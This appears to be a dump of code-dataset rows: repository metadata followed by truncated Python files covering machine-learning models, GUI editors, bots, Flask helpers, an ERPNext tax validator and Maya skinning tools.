] | 37 | 2018-03-07T15:32:09.000Z | 2022-03-01T06:54:06.000Z | ops.py | fivoskal/MGAN | 2eb1407c907af5f472a80e8ae363bee57d5cfaa4 | [
"MIT"
] | 2 | 2018-09-19T23:20:07.000Z | 2019-06-15T13:45:54.000Z | ops.py | fivoskal/MGAN | 2eb1407c907af5f472a80e8ae363bee57d5cfaa4 | [
"MIT"
] | 18 | 2018-05-23T11:09:34.000Z | 2022-03-22T08:38:13.000Z | from __future__ import division
from __future__ import print_function
from __future__ import absolute_import
import numpy as np
import tensorflow as tf
def lrelu(x, alpha=0.2):
return tf.maximum(x, alpha * x)
def linear(input, output_dim, scope='linear', stddev=0.01):
norm = tf.random_normal_initializer(stdd... | 39.732394 | 98 | 0.611485 | 401 | 2,821 | 4.057357 | 0.246883 | 0.047326 | 0.047941 | 0.053473 | 0.411801 | 0.356484 | 0.209588 | 0.111862 | 0.111862 | 0.081131 | 0 | 0.022967 | 0.259128 | 2,821 | 70 | 99 | 40.3 | 0.755502 | 0.059553 | 0 | 0.111111 | 0 | 0 | 0.023783 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.092593 | false | 0 | 0.092593 | 0.018519 | 0.296296 | 0.018519 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb1af2b6ba7c64773e3eb0f188fe914ea2ee6f01 | 1,002 | py | Python | src/server/api/API_ingest/dropbox_handler.py | carlos-dominguez/paws-data-pipeline | 5c224e1f259c079631df7d3514a873875c633221 | [
"MIT"
] | 27 | 2019-11-20T20:20:30.000Z | 2022-01-31T17:24:55.000Z | src/server/api/API_ingest/dropbox_handler.py | mrcrnkovich/paws-data-pipeline | 7c0bd4c5f23276f541611cb564f2f5abbb6b9887 | [
"MIT"
] | 348 | 2019-11-26T20:34:02.000Z | 2022-02-27T20:28:20.000Z | src/server/api/API_ingest/dropbox_handler.py | mrcrnkovich/paws-data-pipeline | 7c0bd4c5f23276f541611cb564f2f5abbb6b9887 | [
"MIT"
] | 20 | 2019-12-03T23:50:33.000Z | 2022-02-09T18:38:25.000Z | import dropbox
try:
from secrets_dict import DROPBOX_APP
except ImportError:
# Not running locally
print("Couldn't get DROPBOX_APP from file, trying environment **********")
from os import environ
try:
DROPBOX_APP = environ['DROPBOX_APP']
except KeyError:
# Not in environment
... | 27.833333 | 89 | 0.691617 | 140 | 1,002 | 4.685714 | 0.378571 | 0.091463 | 0.068598 | 0.045732 | 0.10061 | 0.10061 | 0.10061 | 0.10061 | 0 | 0 | 0 | 0 | 0.228543 | 1,002 | 36 | 90 | 27.833333 | 0.848642 | 0.117764 | 0 | 0.086957 | 0 | 0 | 0.144318 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.130435 | false | 0 | 0.173913 | 0 | 0.347826 | 0.086957 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb1c95abaf459d4750608d1b3b3b8a20f69d8f30 | 504 | py | Python | KNN/sklearn API.py | wu-huipeng/- | 84f681f7488e45c5f357f558defbc27aaf285a16 | [
"Apache-2.0"
] | 7 | 2019-09-09T08:55:41.000Z | 2020-02-08T13:24:59.000Z | KNN/sklearn API.py | wu-huipeng/machine-learning | 84f681f7488e45c5f357f558defbc27aaf285a16 | [
"Apache-2.0"
] | null | null | null | KNN/sklearn API.py | wu-huipeng/machine-learning | 84f681f7488e45c5f357f558defbc27aaf285a16 | [
"Apache-2.0"
] | null | null | null | from sklearn.neighbors import KNeighborsClassifier
from sklearn.datasets import make_classification
from sklearn.model_selection import train_test_split
x , y = make_classification(n_samples=1000,n_features=40,random_state=42) #构造数据
x_train, x_test ,y_train ,y_test = train_test_split(x,y,random_state=42) #划分数据... | 22.909091 | 81 | 0.759921 | 79 | 504 | 4.594937 | 0.468354 | 0.090909 | 0.077135 | 0.082645 | 0.088154 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030162 | 0.144841 | 504 | 21 | 82 | 24 | 0.812065 | 0.065476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.3 | 0 | 0.3 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb2248e40d3ed11337557c6e7ae9b71e63c167b4 | 3,622 | py | Python | BP.py | WolfMy/predict_stock | 7af33404875d19ea93328b8f220d3bd2c0f6d2e5 | [
"MIT"
] | 1 | 2021-09-28T02:02:05.000Z | 2021-09-28T02:02:05.000Z | BP.py | WolfMy/predict_stock | 7af33404875d19ea93328b8f220d3bd2c0f6d2e5 | [
"MIT"
] | null | null | null | BP.py | WolfMy/predict_stock | 7af33404875d19ea93328b8f220d3bd2c0f6d2e5 | [
"MIT"
] | 1 | 2020-10-13T12:13:43.000Z | 2020-10-13T12:13:43.000Z | import tensorflow as tf
import numpy as np
import pandas as pd
from MACD_RSI import init_train_data
def get_batch(data, label, batch_size, num_epochs):
input_queue = tf.train.slice_input_producer([data, label], num_epochs=num_epochs, shuffle=True, capacity=32)
x_batch, y_batch = tf.train.batch(input_queue, bat... | 48.293333 | 134 | 0.655163 | 511 | 3,622 | 4.405088 | 0.311155 | 0.021324 | 0.031986 | 0.021324 | 0.257663 | 0.166148 | 0.092403 | 0.078187 | 0.051533 | 0.051533 | 0 | 0.038353 | 0.215351 | 3,622 | 75 | 135 | 48.293333 | 0.753695 | 0.099117 | 0 | 0.034483 | 0 | 0 | 0.044253 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034483 | false | 0 | 0.068966 | 0 | 0.137931 | 0.086207 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb24589362ad5872b751372ecb28f328c4ec3892 | 1,907 | py | Python | utils.py | psergal/quiz | 9420db013a4ca0662471f716ed5fc1f9cfb2502a | [
"MIT"
] | null | null | null | utils.py | psergal/quiz | 9420db013a4ca0662471f716ed5fc1f9cfb2502a | [
"MIT"
] | null | null | null | utils.py | psergal/quiz | 9420db013a4ca0662471f716ed5fc1f9cfb2502a | [
"MIT"
] | null | null | null | import argparse
from pathlib import Path
import random
def get_args():
parser = argparse.ArgumentParser(description='Launching VK chat bot')
parser.add_argument('-m', '--memcached_server', default='redis-12388.c52.us-east-1-4.ec2.cloud.redislabs.com',
help='Set the server to store and ... | 44.348837 | 114 | 0.624541 | 239 | 1,907 | 4.690377 | 0.372385 | 0.026762 | 0.064228 | 0.032114 | 0.039251 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010182 | 0.278972 | 1,907 | 42 | 115 | 45.404762 | 0.805091 | 0 | 0 | 0.052632 | 0 | 0.026316 | 0.187205 | 0.058207 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.078947 | 0 | 0.184211 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb2468353432def77628e6adb7da27b64ec4c1b6 | 2,684 | py | Python | text-editor.py | Shubham05178/Text-Editor | 82fff346880bb9e2088a16af20695bb46d68d29a | [
"MIT"
] | 1 | 2021-09-24T16:13:14.000Z | 2021-09-24T16:13:14.000Z | text-editor.py | Shubham05178/Text-Editor | 82fff346880bb9e2088a16af20695bb46d68d29a | [
"MIT"
] | null | null | null | text-editor.py | Shubham05178/Text-Editor | 82fff346880bb9e2088a16af20695bb46d68d29a | [
"MIT"
] | null | null | null | #Author Shubham Nagaria. ShubhamLabs.
#Coder.
#subhamnagaria@gmail.com
import tkinter
from tkinter import *
from tkinter import Tk, scrolledtext, filedialog, messagebox
root = Tk(className=" TextEditor-ShubhamLabs") #name your texteditor in quotes
textPad = scrolledtext.ScrolledText(root, width=100, ... | 32.731707 | 256 | 0.676975 | 374 | 2,684 | 4.791444 | 0.486631 | 0.035714 | 0.030692 | 0.053013 | 0.125 | 0.073661 | 0.073661 | 0 | 0 | 0 | 0 | 0.013641 | 0.207899 | 2,684 | 81 | 257 | 33.135802 | 0.829257 | 0.201192 | 0 | 0.072727 | 0 | 0 | 0.122758 | 0.012332 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.054545 | 0 | 0.145455 | 0.018182 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb28158cf8145cabc88ee46d040cb82c54962f04 | 787 | py | Python | fn/instaAPI.py | elsou/ETSE-Warbot | 4fd5351688e3cd81d9eeed50586027830dba0c5b | [
"MIT"
] | 2 | 2021-11-09T23:14:53.000Z | 2021-11-11T01:09:28.000Z | fn/instaAPI.py | elsou/etse-warbot | 4fd5351688e3cd81d9eeed50586027830dba0c5b | [
"MIT"
] | null | null | null | fn/instaAPI.py | elsou/etse-warbot | 4fd5351688e3cd81d9eeed50586027830dba0c5b | [
"MIT"
] | null | null | null | from instabot import Bot
import os
import shutil
import time
# Dado un tweet (str) e imaxe (str '*.jpeg'), publica o contido en instagram
def upload(tweet, imaxe):
clean_up()
bot = Bot()
bot.login(username="usename", password="password")
time.sleep(1)
bot.upload_photo(imaxe, caption=tweet)
# ...
d... | 23.848485 | 76 | 0.617535 | 112 | 787 | 4.276786 | 0.589286 | 0.066806 | 0.041754 | 0.058455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001704 | 0.25413 | 787 | 32 | 77 | 24.59375 | 0.81431 | 0.205845 | 0 | 0 | 0 | 0 | 0.118699 | 0.035772 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0.047619 | 0.190476 | 0 | 0.285714 | 0.047619 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb29a12d8ace63ae0afef58e7d2a5734abf0e3c4 | 2,088 | py | Python | memories/api/utils.py | marchelbling/memories-api | e82d6c6ae2b7873fc35ebb301fc073e3ef968a1e | [
"MIT"
] | null | null | null | memories/api/utils.py | marchelbling/memories-api | e82d6c6ae2b7873fc35ebb301fc073e3ef968a1e | [
"MIT"
] | null | null | null | memories/api/utils.py | marchelbling/memories-api | e82d6c6ae2b7873fc35ebb301fc073e3ef968a1e | [
"MIT"
] | null | null | null | import time
import logging
from functools import wraps
logging.basicConfig(level=logging.INFO,
format='[%(asctime)s] [%(levelname)s] %(message)s')
def timehttp(endpoint):
@wraps(endpoint)
def timed(self, request, response):
start = time.time()
result = endpoint(self, reque... | 33.677419 | 93 | 0.561782 | 220 | 2,088 | 5.263636 | 0.322727 | 0.034542 | 0.031088 | 0.036269 | 0.115717 | 0.07772 | 0.07772 | 0.07772 | 0.07772 | 0 | 0 | 0.00625 | 0.310345 | 2,088 | 61 | 94 | 34.229508 | 0.797917 | 0 | 0 | 0.235294 | 0 | 0 | 0.08477 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | false | 0 | 0.058824 | 0 | 0.352941 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb2abd56368d34ecbc07a95fe8f4a470ff486455 | 24,641 | py | Python | cssedit/editor/gui_qt.py | albertvisser/cssedit | e17ed1b43a0e4d50bfab6a69da47b92cd3213724 | [
"MIT"
] | null | null | null | cssedit/editor/gui_qt.py | albertvisser/cssedit | e17ed1b43a0e4d50bfab6a69da47b92cd3213724 | [
"MIT"
] | null | null | null | cssedit/editor/gui_qt.py | albertvisser/cssedit | e17ed1b43a0e4d50bfab6a69da47b92cd3213724 | [
"MIT"
] | null | null | null | """cssedit: PyQt specific stuff
"""
import sys
import os
import PyQt5.QtWidgets as qtw
import PyQt5.QtGui as gui
import PyQt5.QtCore as core
from .cssedit import parse_log_line, get_definition_from_file
class MainGui(qtw.QMainWindow):
"""Hoofdscherm van de applicatie
"""
def __init__(self, master, app, ti... | 35.302292 | 97 | 0.582363 | 2,820 | 24,641 | 5.008511 | 0.203546 | 0.023364 | 0.023931 | 0.017134 | 0.386576 | 0.348556 | 0.310394 | 0.268267 | 0.241008 | 0.217077 | 0 | 0.008041 | 0.308591 | 24,641 | 697 | 98 | 35.352941 | 0.820978 | 0.25628 | 0 | 0.401345 | 0 | 0 | 0.078799 | 0.001867 | 0 | 0 | 0 | 0.001435 | 0 | 1 | 0.130045 | false | 0.002242 | 0.013453 | 0.004484 | 0.190583 | 0.004484 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb2bb261a73c74317e9f4c04091925e5a2fa1f5e | 2,199 | py | Python | quantrocket/satellite.py | Jay-Jay-D/quantrocket-client | b70ac199382d22d56fad923ca2233ce027f3264a | [
"Apache-2.0"
] | null | null | null | quantrocket/satellite.py | Jay-Jay-D/quantrocket-client | b70ac199382d22d56fad923ca2233ce027f3264a | [
"Apache-2.0"
] | null | null | null | quantrocket/satellite.py | Jay-Jay-D/quantrocket-client | b70ac199382d22d56fad923ca2233ce027f3264a | [
"Apache-2.0"
] | 1 | 2019-06-12T11:34:27.000Z | 2019-06-12T11:34:27.000Z | # Copyright 2017 QuantRocket - All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... | 32.820896 | 93 | 0.71578 | 305 | 2,199 | 5.02623 | 0.4 | 0.052185 | 0.073059 | 0.020874 | 0.10698 | 0.071755 | 0 | 0 | 0 | 0 | 0 | 0.008601 | 0.206912 | 2,199 | 66 | 94 | 33.318182 | 0.870413 | 0.473852 | 0 | 0.083333 | 0 | 0 | 0.105312 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.166667 | 0.041667 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb2ea9cb95f216543b39462cef45459a422c0631 | 12,367 | py | Python | blog_server/app/comm/GeneralOperate.py | szhu9903/flask-react-blog | b1939a5d95e0084a82c230f2a20a9b197d2eef46 | [
"MIT"
] | 2 | 2022-03-12T14:51:42.000Z | 2022-03-25T13:20:16.000Z | blog_server/app/comm/GeneralOperate.py | szhu9903/flask-react-blog | b1939a5d95e0084a82c230f2a20a9b197d2eef46 | [
"MIT"
] | 7 | 2022-03-19T02:17:54.000Z | 2022-03-28T10:12:52.000Z | blog_server/app/comm/GeneralOperate.py | szhu9903/flask-react-blog | b1939a5d95e0084a82c230f2a20a9b197d2eef46 | [
"MIT"
] | 1 | 2022-03-25T13:20:28.000Z | 2022-03-25T13:20:28.000Z | import copy
from flask import g
from app.comm.TableModule import TableModule
from app.comm.SqlExecute import SqlExecute
from app.unit_config import default_result, default_limit_size, depth_post_map
class GeneralOperate(object):
def __init__(self, module:TableModule):
self.module = module
# 请求参数检查链... | 32.890957 | 91 | 0.602248 | 1,549 | 12,367 | 4.491285 | 0.114267 | 0.010349 | 0.037947 | 0.051746 | 0.406353 | 0.330315 | 0.290068 | 0.265919 | 0.240621 | 0.189162 | 0 | 0.001516 | 0.306542 | 12,367 | 375 | 92 | 32.978667 | 0.809701 | 0.068246 | 0 | 0.345324 | 0 | 0 | 0.06064 | 0.009598 | 0 | 0 | 0.000349 | 0 | 0 | 1 | 0.136691 | false | 0.007194 | 0.017986 | 0.043165 | 0.284173 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb2ec99c88e89e1bd90620cd1221b2fc2ec8cc12 | 4,921 | py | Python | SmartDeal-Training/models/mobilenetv2_se_mask.py | VITA-Group/SmartDeal | 8e1de77497eedbeea412a8c51142834c28a53709 | [
"MIT"
] | 2 | 2021-07-20T02:48:35.000Z | 2021-11-29T02:55:36.000Z | SmartDeal-Training/models/mobilenetv2_se_mask.py | VITA-Group/SmartDeal | 8e1de77497eedbeea412a8c51142834c28a53709 | [
"MIT"
] | null | null | null | SmartDeal-Training/models/mobilenetv2_se_mask.py | VITA-Group/SmartDeal | 8e1de77497eedbeea412a8c51142834c28a53709 | [
"MIT"
] | null | null | null | '''MobileNetV2 in PyTorch.
See the paper "Inverted Residuals and Linear Bottlenecks:
Mobile Networks for Classification, Detection and Segmentation" for more details.
'''
import torch
import torch.nn as nn
import torch.nn.functional as F
from se import SEConv2d, SELinear
THRESHOLD = 4e-3
__all__ = ['SEMaskMobileNet... | 36.451852 | 116 | 0.613696 | 661 | 4,921 | 4.426626 | 0.192133 | 0.058442 | 0.07177 | 0.06972 | 0.427204 | 0.405673 | 0.29255 | 0.203691 | 0.176692 | 0.103896 | 0 | 0.060473 | 0.260719 | 4,921 | 134 | 117 | 36.723881 | 0.743815 | 0.268441 | 0 | 0.091954 | 0 | 0 | 0.01433 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.091954 | false | 0.011494 | 0.045977 | 0 | 0.241379 | 0.034483 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb2f3eb592211892766f130ad1032ee5dd774617 | 911 | py | Python | twitter_video.py | keselekpermen69/build_scripts | 110392778ad0a8585efa944100aa1c13ef28469e | [
"MIT"
] | 5 | 2020-08-19T05:44:25.000Z | 2021-05-13T05:15:50.000Z | twitter_video.py | MrMissx/scripts | 110392778ad0a8585efa944100aa1c13ef28469e | [
"MIT"
] | null | null | null | twitter_video.py | MrMissx/scripts | 110392778ad0a8585efa944100aa1c13ef28469e | [
"MIT"
] | null | null | null |
import requests
def get_link():
return input("Give me a twitter video link: ")
def download(url: str):
name = url.rsplit('/')[-1]
if("?tag" in name):
name = name.split('?')[0]
r = requests.get(url, allow_redirects=True)
open(name, 'wb').write(r.content)
def main():
... | 24.621622 | 86 | 0.531284 | 107 | 911 | 4.411215 | 0.588785 | 0.029661 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012759 | 0.311745 | 911 | 37 | 87 | 24.621622 | 0.740032 | 0.025247 | 0 | 0.076923 | 0 | 0 | 0.227059 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.115385 | false | 0 | 0.038462 | 0.038462 | 0.269231 | 0.115385 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb2fabace401a8d0a972f811af8b0a86ed348c85 | 2,951 | py | Python | frappe-bench/apps/erpnext/erpnext/regional/india/utils.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/regional/india/utils.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/regional/india/utils.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | import frappe, re
from frappe import _
from frappe.utils import cstr
from erpnext.regional.india import states, state_numbers
from erpnext.controllers.taxes_and_totals import get_itemised_tax, get_itemised_taxable_amount
def validate_gstin_for_india(doc, method):
if not hasattr(doc, 'gstin'):
return
if doc.gstin:... | 36.8875 | 102 | 0.74856 | 482 | 2,951 | 4.286307 | 0.226141 | 0.088093 | 0.03727 | 0.024685 | 0.163601 | 0.07938 | 0.056147 | 0.030978 | 0.030978 | 0 | 0 | 0.008475 | 0.120298 | 2,951 | 79 | 103 | 37.35443 | 0.787365 | 0.027109 | 0 | 0.033333 | 0 | 0.016667 | 0.145251 | 0.02514 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.083333 | 0 | 0.266667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb336072c83fb710a31348edb291a0b22c416bc1 | 706 | py | Python | ProgsByDataset/UnpaywallMAG/create_unpaywall_refs.py | ashwath92/MastersThesis | f74755dc0c32f316da3c860dd5dbfa4c9cad97b3 | [
"MIT"
] | 5 | 2020-11-05T07:11:54.000Z | 2021-08-04T21:37:28.000Z | ProgsByDataset/UnpaywallMAG/create_unpaywall_refs.py | ashwath92/MastersThesis | f74755dc0c32f316da3c860dd5dbfa4c9cad97b3 | [
"MIT"
] | null | null | null | ProgsByDataset/UnpaywallMAG/create_unpaywall_refs.py | ashwath92/MastersThesis | f74755dc0c32f316da3c860dd5dbfa4c9cad97b3 | [
"MIT"
] | 4 | 2020-11-05T06:04:38.000Z | 2021-08-02T16:25:42.000Z | import re
import csv
# Unpaywall citing, cited list based on mag ids
unpaywall_citing_cited_file = open('AdditionalOutputs/unpaywallmag_references.tsv', 'w')
fieldnames = ['citing_mag_id', 'cited_mag_id']
writer = csv.DictWriter(unpaywall_citing_cited_file, delimiter="\t", fieldnames=fieldnames)
citation_pattern = r... | 39.222222 | 93 | 0.730878 | 95 | 706 | 5.136842 | 0.505263 | 0.061475 | 0.122951 | 0.098361 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019802 | 0.141643 | 706 | 17 | 94 | 41.529412 | 0.785479 | 0.063739 | 0 | 0 | 0 | 0 | 0.251142 | 0.141553 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb336c9971fca1cc78e0225c7dbfc79890eb6bc4 | 721 | py | Python | Configuration/Skimming/python/PA_MinBiasSkim_cff.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | Configuration/Skimming/python/PA_MinBiasSkim_cff.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | Configuration/Skimming/python/PA_MinBiasSkim_cff.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | import FWCore.ParameterSet.Config as cms
# HLT dimuon trigger
import HLTrigger.HLTfilters.hltHighLevel_cfi
hltMinBiasHI = HLTrigger.HLTfilters.hltHighLevel_cfi.hltHighLevel.clone()
hltMinBiasHI.HLTPaths = ["HLT_PAL1MinimumBiasHF_OR_SinglePixelTrack_ForSkim_v*"]
hltMinBiasHI.throw = False
hltMinBiasHI.andOr = True
# s... | 32.772727 | 80 | 0.769764 | 76 | 721 | 7.210526 | 0.736842 | 0.069343 | 0.113139 | 0.124088 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0064 | 0.133148 | 721 | 21 | 81 | 34.333333 | 0.8704 | 0.142857 | 0 | 0 | 0 | 0 | 0.215334 | 0.120718 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.133333 | 0 | 0.133333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb360bb15c3aa59399389bed8b1e64bb7c548a75 | 3,696 | py | Python | launch_hits.py | hinthornw/Pointing | e3cbaf2c5f54d20fe959406714b38634bc4bb3fe | [
"MIT"
] | null | null | null | launch_hits.py | hinthornw/Pointing | e3cbaf2c5f54d20fe959406714b38634bc4bb3fe | [
"MIT"
] | null | null | null | launch_hits.py | hinthornw/Pointing | e3cbaf2c5f54d20fe959406714b38634bc4bb3fe | [
"MIT"
] | null | null | null | from __future__ import print_function
import argparse
import json
from boto.mturk.price import Price
from boto.mturk.question import HTMLQuestion
from boto.mturk.connection import MTurkRequestError
import os
import simpleamt
import sys
import inspect
def printPlus(*args):
print(inspect.getouterframes(inspect.cu... | 36.594059 | 83 | 0.628247 | 468 | 3,696 | 4.739316 | 0.326923 | 0.070334 | 0.036069 | 0.018034 | 0.10505 | 0.10505 | 0.10505 | 0.092426 | 0.036069 | 0.036069 | 0 | 0.00805 | 0.260552 | 3,696 | 100 | 84 | 36.96 | 0.803513 | 0.161526 | 0 | 0.028169 | 0 | 0 | 0.086957 | 0.006814 | 0 | 0 | 0 | 0.01 | 0 | 1 | 0.014085 | false | 0 | 0.140845 | 0 | 0.15493 | 0.070423 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb36ee81af365dbd4ec4f2c01bf63d11e510fd29 | 2,405 | py | Python | scripts/skinning/utils/skin.py | robertjoosten/skinning-tools | 1f1ec6c092fdc1e39aa82a711a13a0041f9d5730 | [
"MIT"
] | 31 | 2018-09-08T16:42:01.000Z | 2022-03-31T12:31:21.000Z | scripts/skinning/utils/skin.py | robertjoosten/skinning-tools | 1f1ec6c092fdc1e39aa82a711a13a0041f9d5730 | [
"MIT"
] | null | null | null | scripts/skinning/utils/skin.py | robertjoosten/skinning-tools | 1f1ec6c092fdc1e39aa82a711a13a0041f9d5730 | [
"MIT"
] | 11 | 2018-10-01T09:57:53.000Z | 2022-03-19T06:53:02.000Z | from maya import cmds
from maya.api import OpenMaya
from maya.api import OpenMayaAnim
from functools import partial
from skinning.utils import api
from skinning.vendor import apiundo
def get_cluster_fn(node):
"""
Loop over an objects history and return the skin cluster api node that
